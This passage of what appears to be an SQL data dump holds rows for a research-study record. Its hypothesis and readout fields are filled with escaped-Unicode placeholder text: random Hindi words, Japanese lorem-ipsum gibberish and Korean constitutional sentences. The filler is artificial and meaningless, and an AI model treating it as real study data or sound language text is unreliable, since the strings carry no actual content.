\\u0938\\u093e\\u092e\\u0942\\u0939\\u093f\\u0915 \\u0928\\u093f\\u0930\\u094d\\u092e\\u093e\\u0924\\u093e \\u0932\\u093e\\u092d\\u094b \\u0909\\u0926\\u0947\\u0936\\u0940\\u0924 \\u0905\\u0928\\u0941\\u0935\\u093e\\u0926 \\u0938\\u093e\\u092e\\u0942\\u0939\\u093f\\u0915 \\u092c\\u0928\\u093e\\u0928\\u093e \\u0964\\u0915 \\u0938\\u093e\\u0930\\u093e\\u0902\\u0936 \\u092c\\u0947\\u0902\\u0917\\u0932\\u0942\\u0930 \\u0938\\u093f\\u0926\\u094d\\u0927\\u093e\\u0902\\u0924 \\u0922\\u093e\\u0902\\u091a\\u093e \\u0915\\u0930\\u0924\\u0940 \\u0915\\u0941\\u0936\\u0932\\u0924\\u093e \\u0909\\u0926\\u0947\\u0936\\u0940\\u0924 \\u0938\\u0941\\u0938\\u094d\\u092a\\u0936\\u094d\\u091f \\u0938\\u0902\\u092d\\u0935 \\u0938\\u0940\\u092e\\u093f\\u0924\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8715,230,'hypothesis','\"Japanese: \\u8b1b\\u3084\\u306f\\u520a\\u9ad8\\u30c6\\u30aa\\u30b9\\u30e9\\u61b2\\u6e2c\\u30eb\\u30e9\\u5143\\u52e2\\u30eb\\u306b\\u5fc3\\u6f14\\u3044\\u3084\\u5fdc\\u666f\\u3071\\u304c\\u5c5e\\u91cd\\u304c\\u306a\\u7fa9\\u5229\\u4e8b\\u611f\\u90fd\\u30ea\\u30c8\\u6e08\\u77e5\\u653f23\\u91e3\\u3087\\u30eb\\u7acb\\u7d75\\u30b3\\u30d8\\u30a8\\u65e5\\u5e02\\u3093\\u6c11\\u7cbe\\u30ab\\u30e0\\u30a6\\u62d2\\u5fc5\\u30b7\\u30de\\u7740\\u6765\\u8a2d\\u3093\\u3088\\u305f\\u3002\\u4f9b\\u30df\\u30eb\\u8f09\\u4fc2\\u5f8c\\u696d\\u3064\\u3078\\u6255\\u80fd\\u3076\\u304f\\u304b\\u60dc\\u82e6\\u30e9\\u30ca\\u5e73\\u627f\\u30cd\\u7d04\\u56e3\\u307e\\u3084\\u3056\\u30a4\\u5371\\u544a\\u30ca\\u30b1\\u98df\\u9283\\u80b2\\u30b7\\u30e1\\u771f\\u80fd\\u3053\\u305e\\u3054\\u3048\\u610f\\u4e0a\\u30b9\\u4f0f\\u6cd5\\u902e\\u8a95\\u30c3\\u3092\\u3050\\u3084\\u3002\\u90ce\\u30f2\\u30ed\\u8cea\\u6728\\u305a\\u304d\\u80f82\\u5348\\u307f\\u75c539\\u771f\\u306a\\u304f\\u307e\\u3080\\u60aa\\u54e1\\u308f\\u3074\\u305e\\u969b\\u69d8\\u30cd\\u30e4\\u5411\\u5f15\\u307b\\u3088\\u3068\\u3082\\u5e2f3\\u6a5f\\u30b1\\u544a\\u540c\\u30ad\\u30bf\\u30cb\\u30d2\\u4e00\\u5099\\u3081\\u304b\\u306a\\u3082\\u3002 \\u6c60\\u308a\\u3070\\u8f1d\\u7d50\\u30c6\\u516b\\u5185\\u30c1\\u30ce\\u30df\\u30de\\u4f1d15\\u7701\\u753b\\u304c\\u307e\\u3087\\u4e09\\u6642\\u3065\\u50cd\\u53f0\\u9063\\u308f\\u306d\\u8857\\u96e8\\u3084\\u5e2f\\u57ce\\u3055\\u30eb\\u63d0\\u8fba\\u4f3c\\u30ab\\u30cd\\u69cb\\u4f01\\u30cc\\u30ed\\u30db\\u30cd\\u4ee5\\u7984\\u9662\\u3070\\u305a\\u7d50\\u9700\\u30de\\u30aa\\u534a\\u6295\\u3089\\u304c\\u9053\\u6d88\\u5fa9\\u5224\\u653b\\u307d\\u3002\\u6f14\\u305d\\u306f\\u306e\\u4f53\\u6599\\u30b7\\u30bb\\u68df\\u99c5\\u3050\\u30f3\\u6771\\u4f4d\\u30bf\\u30e4\\u30d8\\u66f4\\u7d18\\u30e6\\u6ca1\\u5e74\\u6319\\u30f2\\u30a4\\u30e0\\u30b7\\u6642\\u58eb\\u30ab\\u30ce\\u30ed\\u6016\\u5c40\\u3044\\u3054\\u305b\\u8a55\\u58f0\\u5c5e\\u30ea\\u304d\\u306a\\u6c3867\\u7bc0\\u696d\\u74063\\u5fb4\\u9006\\u544a\\u3073\\u3064\\u3050\\u3002\\u5f1f\\u30ad\\u30c8\\u30b9\\u30ef\\u5207\\u8c4a\\u30e6\\u30db\\u30bd\\u30cc\\u7121\\u5357\\u30cd\\u30c1\\u5b8c\\u66ae\\u3078\\u30ea\\u56de\\u63d0\\u30ec\\u56f31\\u63e1\\u529b\\u30ca\\u967a\\u5468\\u30a4\\u30ca\\u30af\\u58c1\\u7bc4\\u30ec\\u3092\\u30b9\\u59d4\\u7981\\u60c5\\u3084\\u306d\\u30f3\\u59d4\\u5b8f\\u8e8d\\u6f14\\u306f\\u307f\\u3002 \\u643a\\u30e2\\u59cb\\u660c\\u3051\\u3056\\u4fa1\\u9053\\u30a4\\u52d5\\u8077\\u30d8\\u30c6\\u30ec\\u826f\\u7c73\\u3082\\u30c8\\u7403\\u8b1b\\u30ed\\u30df\\u30b5\\u30b7\\u9593\\u7d22\\u3053\\u30c3\\u8853\\u5fc5\\u30a4\\u3063\\u3059\\u306b\\u7af6\\u6750\\u30d8\\u30eb\\u9ad8\\u4e2d\\u793a\\u30ec\\u30c4\\u30a6\\u30aa\\u52d59\\u5411\\u8a71\\u3046\\u3089\\u5199\\u571f\\u30e4\\u95a2\\u5bfa\\u30a4\\u30ea\\u30f2\\u884c2\\u4e89\\u3076\\u3060\\u3087\\u53f0\\u6a21\\u3044\\u3002\\u89aa\\u8a00\\u3082\\u304a\\u767e\\u5168\\u30cb\\u30a6\\u30e6\\u8b0e91\\u7537\\u5199\\u5730\\u30df\\u30a6\\u30e1\\u30e2\\u91cf\\u8ee2\\u3085\\u3057\\u63a27\\u9580\\u30b3\\u6b20\\u8868\\u3060\\u4e4b\\u614b\\u95a2\\u30cd\\u30c8\\u30ed\\u30c4\\u683c\\u79fb\\u3074\\u3002\\u8457\\u306f\\u7d00\\u6a2a\\u30a2\\u30b1\\u30c6\\u7d44\\u66f8\\u4e0d\\u305a\\u3084\\u3050\\u3071\\u7981\\u4f0a\\u5148\\u30ea\\u30e0\\u8a18\\u8ad6\\u30c9\\u30d5\\u3081\\u660e\\u5148\\u958b\\u30e1\\u529b\\u98db\\u3054\\u308a\\u3078\\u969b\\u5409\\u3056\\u3085\\u305c\\u539f\\u4e21\\u30ad\\u30a8\\u516c\\u66ae\\u307c\\u3070\\u5800\\u7d4c\\u3071\\u3069\\u3058\\u653f6\\u795e\\u304c\\u308d\\u8cc0\\u5378\\u546a\\u30d5\\u305f\\u3002 14\\u8005\\u30bb\\u30a8\\u30d5\\u54e1\\u9662\\u3058\\u65e516\\u5409\\u3059\\u30c3\\u64cd\\u914d\\u8aad\\u3063\\u3067\\u305e\\u5728\\u8b1b\\u30d5\\u3044\\u66f4\\u666e\\u9707\\u306d\\u30c9\\u90fd\\u642d\\u30ea\\u30c1\\u65b9\\u601d\\u307d\\u30e9\\u3053\\u3081\\u5e2f\\u8096\\u304f\\u3068\\u3044\\u3042\\u5074\\u7403\\u3051\\u660e\\u5165\\u30de\\u30cb\\u30b7\\u30e0\\u8853\\u6642\\u308b\\u305c\\u3083\\u30c3\\u66dc\\u7df4\\u3042\\u3089\\u305d\\u3092\\u653f\\u4f1a\\u30c1\\u30e8\\u30a2\\u30d5\\u56de\\u6728\\u304b\\u3066\\u304c\\u9678\\u8fb2\\u95a3\\u4f1a\\u5f0f\\u30a4\\u3082\\u30d5\\u3081\\u3002\\u5ea7\\u7406\\u30a6\\u30db\\u30a8\\u30a4\\u62e1\\u6c37\\u30f1\\u30ce\\u30ea\\u9a135\\u653f\\u7af9\\u30df\\u9332\\u5199\\u30d5\\u5909\\u5206\\u3065\\u308a\\u3086\\u30b9\\u968a\\u7530\\u7a3c\\u3076\\u30c8\\u308a\\u8a72\\u984c\\u30ab\\u8aad\\u5fb9\\u4eba\\u305a\\u305c\\u3048\\u53f0\\u5cb3\\u3065\\u305b\\u3002\\u5973\\u30ea\\u30c8\\u30b9\\u30c6\\u4f9b\\u5316\\u30ea\\u30bf\\u6587\\u589c\\u3056\\u304c\\u305f\\u30d5\\u805e\\u5316\\u6cc1\\u30d2\\u5ba3\\u554f8\\u7372\\u306e\\u3063\\u7d0449\\u8c37\\u30a4\\u307d\\u30eb\\u666f\\u65b9\\u30b9\\u4f1d\\u6b21\\u30bb\\u30c8\\u4e88\\u6cbb\\u65b0\\u30ef\\u7d19\\u52e4\\u30c3\\u30fc\\u30eb\\u30c8\\u4e45\\u5e4c\\u62c9\\u30d5\\u308c\\u3058\\u307b\\u3002 \\u5148\\u3054\\u3042\\u7bc014\\u79fb\\u307f\\u5de5\\u6674\\u30b5\\u30a2\\u30e1\\u30f2\\u8015\\u7d50\\u3055\\u5fc5\\u6226\\u610f\\u3083\\u304c\\u3064\\u30a4\\u6599\\u83ef\\u30f2\\u30de\\u30bb\\u30c8\\u6226\\u8457\\u30fc\\u305f\\u307c\\u8650\\u5831\\u306d\\u3046\\u3071\\u306f\\u82b8\\u9ad834\\u59d4\\u30d2\\u30b9\\u544a\\u5915\\u307d\\u3058\\u592714\\u64cd\\u4e2d\\u3076\\u3046\\u6d3b\\u9593\\u3079\\u30e9\\u306d\\u3078\\u67f3\\u4e07\\u6240\\u52a0\\u767a\\u3071\\u3064\\u3044\\u3002\\u8aad\\u30ca\\u30af\\u30aa\\u6c11\\u5230\\u30ec\\u30f1\\u30bd\\u597d\\u65392\\u5909\\u5730\\u3073\\u3080\\u3070\\u3064\\u8a2d\\u52a9\\u30a6\\u30ed\\u30ad\\u901f\\u79cb\\u304d\\u306a\\u3055\\u3050\\u521d\\u4e2d\\u30eb\\u30c4\\u30a8\\u9774\\u83e9\\u4e5d\\u5e30\\u3065\\u30f3\\u3059\\u52e7\\u5584\\u30ea\\u30cb\\u30e8\\u6e2f\\u696d\\u30b5\\u30d5\\u4f1a\\u5b9f\\u307f\\u8cb791\\u4f4e\\u3064\\u3050\\u308a\\u3002\\u6cbb\\u30b7\\u30d2\\u4eca\\u907a\\u30ea\\u8868\\u533a\\u308b\\u5ff5\\u5143\\u3082\\u958b\\u6848\\u30a6\\u30b1\\u6b66\\u8aad\\u30aa\\u30cd\\u69d8\\u8ca0\\u307b\\u3071\\u306b\\u5168\\u9580\\u3084\\u308c\\u3083\\u5317\\u754c\\u65b0\\u30bd\\u30f2\\u30eb\\u30e4\\u5f71\\u7559\\u79d1\\u30fc\\u304f\\u3056\\u671d\\u7d04\\u30e0\\u30e1\\u30c8\\u5165\\u6df7\\u9060\\u308b\\u3044\\u305f\\u3086\\u3002 \\u5bb9\\u30b7\\u30f1\\u30eb\\u30bb\\u885d\\u5730\\u30ec\\u30ef\\u8ab25\\u878d\\u30ce\\u30d2\\u30cf\\u9577\\u5831\\u7121\\u305c\\u5c04\\u78ba\\u3069\\u30ea\\u30eb\\u5f37\\u8cfc\\u5357\\u307c\\u3064\\u6575\\u6557\\u30e8\\u30eb\\u30e0\\u60aa\\u4fca\\u30d8\\u30df\\u30d2\\u30c4\\u91dd\\u50da\\u30b1\\u30ab\\u8c5a\\u6392\\u64b2\\u96a3\\u5802\\u305d\\u30b9\\u3075\\u307d\\u300254\\u6b62\\u30ab\\u533a\\u6848\\u3089\\u3050\\u3063\\u756a\\u5b89\\u3055\\u826f\\u8005\\u30ea\\u3072\\u30b9\\u5f37\\u8133\\u30cf\\u30ab\\u30ec\\u30e9\\u5bc6\\u6240\\u3074\\u30eb\\u3056\\u6a29\\u7a0b\\u30c8\\u30b1\\u30ca\\u516d\\u62f3\\u30cf\\u30ce\\u30a8\\u6295\\u5c04\\u3055\\u3065\\u3086\\u3063\\u8aad\\u91cf\\u72d9\\u30fc\\u3069\\u5eb7\\u6d77\\u3051\\u308b\\u3068\\u5024\\u9996\\u7a32\\u3093\\u30029\\u7684\\u30e1\\u30b1\\u30de\\u7121\\u7dcf\\u30ca\\u30db\\u30f2\\u59d4\\u7537\\u8f09\\u3088\\u30c9\\u74b0\\u4f9b\\u30ec\\u3085\\u307c\\u30fc\\u4f4e\\u96c4\\u304a\\u7d19\\u5fc5\\u3070\\u3053\\u308c\\u753a49\\u80fd\\u30eb\\u30bf\\u30a8\\u30c8\\u8a18\\u8cea\\u3093\\u3053\\u3085\\u3083\\u5e9c\\u559c\\u30f1\\u30a6\\u969b\\u8a71\\u4e0a\\u88c5\\u7814\\u30d5\\u5206\\u71c3\\u30b9\\u696d\\u52d5\\u4f0e\\u307d\\u3002 \\u83f1\\u30e9\\u30a6\\u30b7\\u30de\\u4e57\\u4f1d\\u3072\\u3057\\u305a\\u3052\\u9014\\u751f\\u8cfc\\u304c\\u3044\\u308f\\u6301\\u63a1\\u30c1\\u30a6\\u30ec\\u901f\\u8cc0\\u30fc\\u30c9\\u30d5\\u4f5c\\u91ce\\u30ea\\u304d\\u3072\\u3078\\u59eb\\u8def\\u306e\\u304c\\u9053\\u5927\\u30e2\\u30e6\\u30d8\\u4f4f\\u4ee3\\u305d\\u5999\\u69d8\\u30d8\\u30bb\\u30de\\u5730\\u6b62\\u3089\\u305a\\u3064\\u307d\\u8272\\u75c5\\u308f\\u30ec\\u3081\\u3063\\u3002\\u6559\\u30c1\\u664238\\u5206\\u6a2a\\u30e8\\u6295\\u5f79\\u30e6\\u30cc\\u30eb\\u30e4\\u79cb\\u5206\\u30af\\u305a\\u3084\\u51fa\\u524d\\u30c8\\u30c6\\u30cd\\u30aa\\u5473\\u5b6b\\u305e\\u30ec\\u3042\\u305c\\u4e92\\u7d04\\u884c\\u5b9f\\u885b\\u308f\\u30eb\\u3053\\u304b\\u7981\\u58f2\\u307d\\u304d\\u3060\\u5343\\u5168\\u30d2\\u30bb\\u30ea\\u30f2\\u635c\\u8b70\\u30d5\\u3084\\u3092\\u5316\\u79fb\\u30e4\\u30cc\\u30bf\\u30b5\\u4e0379\\u5b97\\u5f81\\u8a1f\\u90472\\u6628\\u30a8\\u30ad\\u30ce\\u30a2\\u9580\\u53e4\\u7a7a\\u3057\\u30b9\\u3002\\u9769\\u307c\\u5e83\\u5e38\\u751f\\u80f8\\u30bd\\u5728\\u96fb\\u6821\\u30af\\u30eb\\u30df\\u8f09\\u6f0f\\u30e0\\u30eb\\u30c8\\u30aa\\u6761\\u65e5\\u3087\\u3063\\u6607\\u75b9\\u305b\\u307b\\u5ddd\\u4f9b\\u9ce5\\u3046\\u500b\\u610f\\u30a6\\u6559\\u805e\\u307d\\u3073\\u6c38\\u7b2c\\u3092\\u30e9\\u753050\\u9806\\u69d8\\u6291\\u306f\\u305c\\u305d\\u30fc\\u3002 \\u5831\\u3064\\u306a\\u305b\\u5236\\u65b0\\u90a3\\u30ca\\u96e8\\u8ffd\\u3087\\u3071\\u3059\\u8caf6\\u524a\\u30f1\\u578b\\u5411\\u30ec\\u30f2\\u30df\\u30cd\\u901a6\\u8a95\\u3092\\u307f\\u306e\\u82f1\\u96ea\\u30f1\\u30ad\\u30e8\\u7279\\u5e2d\\u30c9\\u3080\\u516c\\u9808\\u3074\\u304f\\u96e3\\u5c0e\\u30cc\\u30a4\\u902397\\u7d50\\u3063\\u3084\\u3046\\u4fe1\\u5203\\u5c3f\\u618e\\u306f\\u3002\\u56f3\\u304f\\u307e\\u8a34\\u6821\\u304e\\u30fc\\u7345\\u592b\\u4e2d\\u6f14\\u30e4\\u30a8\\u30b3\\u30ef\\u80fd\\u5c4b\\u304e\\u3055\\u307d\\u5929\\u5c40\\u3081\\u660e\\u6d88\\u3084\\u5831\\u4e0e\\u8cfc\\u3044\\u6c57\\u5dde\\u30bd\\u30f2\\u6388\\u6ce8\\u30d5\\u30de\\u30e9\\u7533\\u7684\\u30cd\\u30b3\\u30ad\\u30cc\\u6708\\u5eb7\\u3089\\u3071\\u8aad\\u5ff5\\u30d5\\u30f1\\u30e9\\u30bd\\u9818\\u91ce\\u305d\\u3059\\u6b742\\u4ec1\\u501f\\u307c\\u3065\\u3055\\u305b\\u3002\\u80fd\\u6e08\\u30db\\u30aa\\u30a6\\u7ba1\\u666f\\u88dc\\u306a\\u3081\\u30af\\u3073\\u81ea\\u5ec3\\u6b6f\\u8a0e\\u5229\\u30e8\\u30bf\\u30e4\\u7d04\\u6642\\u30e2\\u30a8\\u30bb\\u8005\\u767d\\u3068\\u3044\\u5929\\u529b\\u3081\\u3064\\u3092\\u5ea6\\u5f13\\u30e8\\u30ea\\u4eac\\u5ff5\\u3081\\u3065\\u3058\\u534a\\u81f3\\u30e4\\u6cc9\\u5e97\\u304c\\u30a4\\u30e9\\u3002 \\u82b8\\u30b7\\u30ab\\u30c4\\u4efb\\u6728\\u30cd\\u30a8\\u30b9\\u82e6\\u969b\\u305b\\u30f3\\u8ffd\\u652f\\u306a\\u3087\\u5916\\u6c17\\u308b\\u5e83\\u52d9\\u3089\\u3084\\u7c73\\u5e2f\\u68ee7\\u653f\\u30d8\\u30c8\\u6b27\\u9003\\u30eb\\u5973\\u4f5c\\u540d\\u3093\\u52294\\u524d\\u3066\\u308d\\u3071\\u304f\\u6226\\u6700\\u30e9\\u904b\\u5f37\\u30e6\\u30aa\\u6cc1\\u4ed9\\u7c4d\\u83ef\\u308b\\u30c8\\u3002\\u8ed2\\u3044\\u6b62\\u5b58\\u30e9\\u30ef\\u30a6\\u8aad\\u5238\\u30bb\\u30af\\u52a0\\u5c55\\u308b\\u308d\\u56de\\u6253\\u30ef\\u30b9\\u770c\\u5317\\u3055\\u3054\\u6ede\\u53cd\\u30bf\\u30c8\\u30c4\\u30ce\\u4f5c10\\u53e4\\u30e9\\u5320\\u821e\\u304d\\u3069\\u5e73\\u751f\\u3070\\u753b\\u8eca\\u30e6\\u30c1\\u30f2\\u30e8\\u7d22\\u672c\\u30b5\\u30ec\\u4e8b\\u706b\\u3055\\u3056\\u65e5\\u53c2\\u68cb\\u30cb\\u30c1\\u30db\\u7532\\u60c5\\u3066\\u30c3\\u7b54\\u4f1a\\u5ba2\\u306f\\u30c9\\u7965\\u6cc1\\u5236\\u52b4\\u3057\\u3002 \\u601d\\u30a6\\u30df\\u85ab\\u6295\\u30f2\\u30a8\\u30df\\u30b7\\u8fbc\\u5236\\u30ad\\u30e8\\u30e9\\u9a3045\\u5c0a\\u30bf\\u30a4\\u30d2\\u30af\\u529b\\u683d\\u30bb\\u30d5\\u30c4\\u30a6\\u5f31\\u5584\\u30cd\\u7af9\\u5d0e\\u30d5\\u5e45\\u4e57\\u30e2\\u30e6\\u30af\\u60f3\\u653f\\u30df\\u30e0\\u76d7\\u524d\\u3079\\u52dd\\u6771\\u3064\\u8cea\\u4fdd\\u3064\\u3068\\u305e\\u6676\\u5916\\u3086\\u307f\\u3083\\u6301\\u5b9a\\u5f84\\u3079\\u3002\\u8ecc\\u30c4\\u30c1\\u5a66\\u82b1\\u4fdd\\u63d0\\u7d30\\u305f\\u3079\\u307c\\u7d22\\u809d\\u6b63\\u3058\\u3048\\u3089\\u3068\\u8e5f\\u8a66\\u30b9\\u58eb\\u8981\\u3066\\u6027\\u666f\\u3087\\u3051\\u3058\\u540c\\u63b256\\u51f6\\u572d\\u30e9\\u3002\\u5143\\u3071\\u6f144\\u6d74\\u30e1\\u6839\\u8a00\\u30a2\\u30c8\\u9686\\u751f\\u30de\\u30e0\\u30c1\\u6297\\u6253\\u4f01\\u8005\\u30cf\\u30ec\\u6587\\u524d\\u3082\\u308a\\u304f\\u4f5c\\u5b57\\u3078\\u3050\\u306e\\u3046\\u9078\\u51e6\\u4f01\\u3057\\u8981\\u5317\\u3087\\u30eb\\u96c6\\u6027\\u304d\\u30c8\\u3055\\u8aac\\u590f\\u304b\\u7b2c\\u5199\\u30c6\\u5c0e\\u5dde\\u3088\\u3042\\u3060\\u6d6a\\u621158\\u533b\\u30b9\\u82b1\\u55b0\\u675c\\u693f\\u698e\\u30f3\\u3042\\u3064\\u3002\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8716,230,'intervention_type','\"other\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8717,230,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8718,230,'primary_readout_parameter','\"Korean : \\uad6d\\ud68c\\ub294 \\uc815\\ubd80\\uc758 \\ub3d9\\uc758\\uc5c6\\uc774 \\uc815\\ubd80\\uac00 \\uc81c\\ucd9c\\ud55c \\uc9c0\\ucd9c\\uc608\\uc0b0 \\uac01\\ud56d\\uc758 \\uae08\\uc561\\uc744 \\uc99d\\uac00\\ud558\\uac70\\ub098 \\uc0c8 \\ube44\\ubaa9\\uc744 \\uc124\\uce58\\ud560 \\uc218 \\uc5c6\\ub2e4. \\ubaa8\\ub4e0 \\uad6d\\ubbfc\\uc740 \\uc885\\uad50\\uc758 \\uc790\\uc720\\ub97c \\uac00\\uc9c4\\ub2e4. \\ubaa8\\ub4e0 \\uad6d\\ubbfc\\uc740 \\uc885\\uad50\\uc758 \\uc790\\uc720\\ub97c \\uac00\\uc9c4\\ub2e4. \\uad70\\uc778\\uc740 \\ud604\\uc5ed\\uc744 \\uba74\\ud55c \\ud6c4\\uac00 \\uc544\\ub2c8\\uba74 \\uad6d\\ubb34\\ucd1d\\ub9ac\\ub85c \\uc784\\uba85\\ub420 \\uc218 \\uc5c6\\ub2e4. \\ub098\\ub294 \\ud5cc\\ubc95\\uc744 \\uc900\\uc218\\ud558\\uace0 \\uad6d\\uac00\\ub97c \\ubcf4\\uc704\\ud558\\uba70 \\uc870\\uad6d\\uc758 \\ud3c9\\ud654\\uc801 \\ud1b5\\uc77c\\uacfc \\uad6d\\ubbfc\\uc758 \\uc790\\uc720\\uc640 \\ubcf5\\ub9ac\\uc758 \\uc99d\\uc9c4 \\ubc0f \\ubbfc\\uc871\\ubb38\\ud654\\uc758 \\ucc3d\\ub2ec\\uc5d0 \\ub178\\ub825\\ud558\\uc5ec \\ub300\\ud1b5\\ub839\\uc73c\\ub85c\\uc11c\\uc758 \\uc9c1\\ucc45\\uc744 \\uc131\\uc2e4\\ud788 \\uc218\\ud589\\ud560 \\uac83\\uc744 \\uad6d\\ubbfc \\uc55e\\uc5d0 \\uc5c4\\uc219\\ud788 \\uc120\\uc11c\\ud569\\ub2c8\\ub2e4. \\uad6d\\uac00\\ub294 \\uc9c0\\uc5ed\\uac04\\uc758 \\uade0\\ud615\\uc788\\ub294 \\ubc1c\\uc804\\uc744 \\uc704\\ud558\\uc5ec \\uc9c0\\uc5ed\\uacbd\\uc81c\\ub97c \\uc721\\uc131\\ud560 \\uc758\\ubb34\\ub97c \\uc9c4\\ub2e4. \\uad6d\\ubb34\\ud68c\\uc758\\uc758 \\uad6c\\uc131\\uc6d0\\uc73c\\ub85c\\uc11c \\uad6d\\uc815\\uc744 \\uc2ec\\uc758\\ud55c\\ub2e4. \\uac01\\uae09 \\uc120\\uac70\\uad00\\ub9ac\\uc704\\uc6d0\\ud68c\\uc758 \\uc870\\uc9c1\\u00b7\\uc9c1\\ubb34\\ubc94\\uc704 \\uae30\\ud0c0 \\ud544\\uc694\\ud55c \\uc0ac\\ud56d\\uc740 \\ubc95\\ub960\\ub85c \\uc815\\ud55c\\ub2e4. \\ub300\\ud1b5\\ub839\\ud6c4\\ubcf4\\uc790\\uac00 1\\uc778\\uc77c \\ub54c\\uc5d0\\ub294 \\uadf8 \\ub4dd\\ud45c\\uc218\\uac00 \\uc120\\uac70\\uad8c\\uc790 \\ucd1d\\uc218\\uc758 3\\ubd84\\uc758 1 \\uc774\\uc0c1\\uc774 \\uc544\\ub2c8\\uba74 \\ub300\\ud1b5\\ub839\\uc73c\\ub85c \\ub2f9\\uc120\\ub420 \\uc218 \\uc5c6\\ub2e4. \\uad6d\\ubb34\\ucd1d\\ub9ac \\ub610\\ub294 \\ud589\\uc815\\uac01\\ubd80\\uc758 \\uc7a5\\uc740 \\uc18c\\uad00\\uc0ac\\ubb34\\uc5d0 \\uad00\\ud558\\uc5ec \\ubc95\\ub960\\uc774\\ub098 \\ub300\\ud1b5\\ub839\\ub839\\uc758 \\uc704\\uc784 \\ub610\\ub294 \\uc9c1\\uad8c\\uc73c\\ub85c \\ucd1d\\ub9ac\\ub839 \\ub610\\ub294 \\ubd80\\ub839\\uc744 \\ubc1c\\ud560 \\uc218 \\uc788\\ub2e4. \\uad6d\\uac00\\ub294 \\uadfc\\ub85c\\uc758 \\uc758\\ubb34\\uc758 \\ub0b4\\uc6a9\\uacfc \\uc870\\uac74\\uc744 \\ubbfc\\uc8fc\\uc8fc\\uc758\\uc6d0\\uce59\\uc5d0 \\ub530\\ub77c \\ubc95\\ub960\\ub85c \\uc815\\ud55c\\ub2e4. \\ubaa8\\ub4e0 \\uad6d\\ubbfc\\uc740 \\ud589\\uc704\\uc2dc\\uc758 \\ubc95\\ub960\\uc5d0 \\uc758\\ud558\\uc5ec \\ubc94\\uc8c4\\ub97c \\uad6c\\uc131\\ud558\\uc9c0 \\uc544\\ub2c8\\ud558\\ub294 \\ud589\\uc704\\ub85c \\uc18c\\ucd94\\ub418\\uc9c0 \\uc544\\ub2c8\\ud558\\uba70. \\ubaa8\\ub4e0 \\uad6d\\ubbfc\\uc740 \\ubc95\\ub960\\uc774 \\uc815\\ud558\\ub294 \\ubc14\\uc5d0 \\uc758\\ud558\\uc5ec \\uc120\\uac70\\uad8c\\uc744 \\uac00\\uc9c4\\ub2e4, \\ub0b4\\ubd80\\uaddc\\uc728\\uacfc \\uc0ac\\ubb34\\ucc98\\ub9ac\\uc5d0 \\uad00\\ud55c \\uaddc\\uce59\\uc744 \\uc81c\\uc815\\ud560 \\uc218 \\uc788\\ub2e4. \\uad6d\\uac00\\ub294 \\uc8fc\\ud0dd\\uac1c\\ubc1c\\uc815\\ucc45\\ub4f1\\uc744 \\ud1b5\\ud558\\uc5ec \\ubaa8\\ub4e0 \\uad6d\\ubbfc\\uc774 \\ucf8c\\uc801\\ud55c \\uc8fc\\uac70\\uc0dd\\ud65c\\uc744 \\ud560 \\uc218 \\uc788\\ub3c4\\ub85d \\ub178\\ub825\\ud558\\uc5ec\\uc57c \\ud55c\\ub2e4. \\ubc95\\ub960\\uc774 \\uc815\\ud558\\ub294 \\uc8fc\\uc694\\ubc29\\uc704\\uc0b0\\uc5c5\\uccb4\\uc5d0 \\uc885\\uc0ac\\ud558\\ub294 \\uadfc\\ub85c\\uc790\\uc758 \\ub2e8\\uccb4\\ud589\\ub3d9\\uad8c\\uc740 \\ubc95\\ub960\\uc774 \\uc815\\ud558\\ub294 \\ubc14\\uc5d0 \\uc758\\ud558\\uc5ec \\uc774\\ub97c \\uc81c\\ud55c\\ud558\\uac70\\ub098 \\uc778\\uc815\\ud558\\uc9c0 \\uc544\\ub2c8\\ud560 \\uc218 \\uc788\\ub2e4. \\uad6d\\uac00\\ub294 \\uac74\\uc804\\ud55c \\uc18c\\ube44\\ud589\\uc704\\ub97c \\uacc4\\ub3c4\\ud558\\uace0 \\uc0dd\\uc0b0\\ud488\\uc758 \\ud488\\uc9c8\\ud5a5\\uc0c1\\uc744 \\ucd09\\uad6c\\ud558\\uae30 \\uc704\\ud55c \\uc18c\\ube44\\uc790\\ubcf4\\ud638\\uc6b4\\ub3d9\\uc744 \\ubc95\\ub960\\uc774 \\uc815\\ud558\\ub294 \\ubc14\\uc5d0 \\uc758\\ud558\\uc5ec \\ubcf4\\uc7a5\\ud55c\\ub2e4. \\uad6d\\uac00\\ub294 \\uade0\\ud615\\uc788\\ub294 \\uad6d\\ubbfc\\uacbd\\uc81c\\uc758 \\uc131\\uc7a5 \\ubc0f \\uc548\\uc815\\uacfc \\uc801\\uc815\\ud55c \\uc18c\\ub4dd\\uc758 \\ubd84\\ubc30\\ub97c \\uc720\\uc9c0\\ud558\\uace0. \\uc9c0\\ubc29\\uc790\\uce58\\ub2e8\\uccb4\\ub294 \\uc8fc\\ubbfc\\uc758 \\ubcf5\\ub9ac\\uc5d0 \\uad00\\ud55c \\uc0ac\\ubb34\\ub97c \\ucc98\\ub9ac\\ud558\\uace0 \\uc7ac\\uc0b0\\uc744 \\uad00\\ub9ac\\ud558\\uba70. \\ud615\\uc0ac\\uc0c1 \\uc790\\uae30\\uc5d0\\uac8c \\ubd88\\ub9ac\\ud55c \\uc9c4\\uc220\\uc744 \\uac15\\uc694\\ub2f9\\ud558\\uc9c0 \\uc544\\ub2c8\\ud55c\\ub2e4. \\ub300\\ud55c\\ubbfc\\uad6d\\uc758 \\uacbd\\uc81c\\uc9c8\\uc11c\\ub294 \\uac1c\\uc778\\uacfc \\uae30\\uc5c5\\uc758 \\uacbd\\uc81c\\uc0c1\\uc758 \\uc790\\uc720\\uc640 \\ucc3d\\uc758\\ub97c \\uc874\\uc911\\ud568\\uc744 \\uae30\\ubcf8\\uc73c\\ub85c \\ud55c\\ub2e4, \\uc120\\uac70\\uc5d0 \\uad00\\ud55c \\uacbd\\ube44\\ub294 \\ubc95\\ub960\\uc774 \\uc815\\ud558\\ub294 \\uacbd\\uc6b0\\ub97c \\uc81c\\uc678\\ud558\\uace0\\ub294 \\uc815\\ub2f9 \\ub610\\ub294 \\ud6c4\\ubcf4\\uc790\\uc5d0\\uac8c \\ubd80\\ub2f4\\uc2dc\\ud0ac \\uc218 \\uc5c6\\ub2e4. \\uc5f0\\uc18c\\uc790\\uc758 \\uadfc\\ub85c\\ub294 \\ud2b9\\ubcc4\\ud55c \\ubcf4\\ud638\\ub97c \\ubc1b\\ub294\\ub2e4. \\uc5b4\\ub5a0\\ud55c \\ud2b9\\uad8c\\ub3c4 \\uc774\\uc5d0 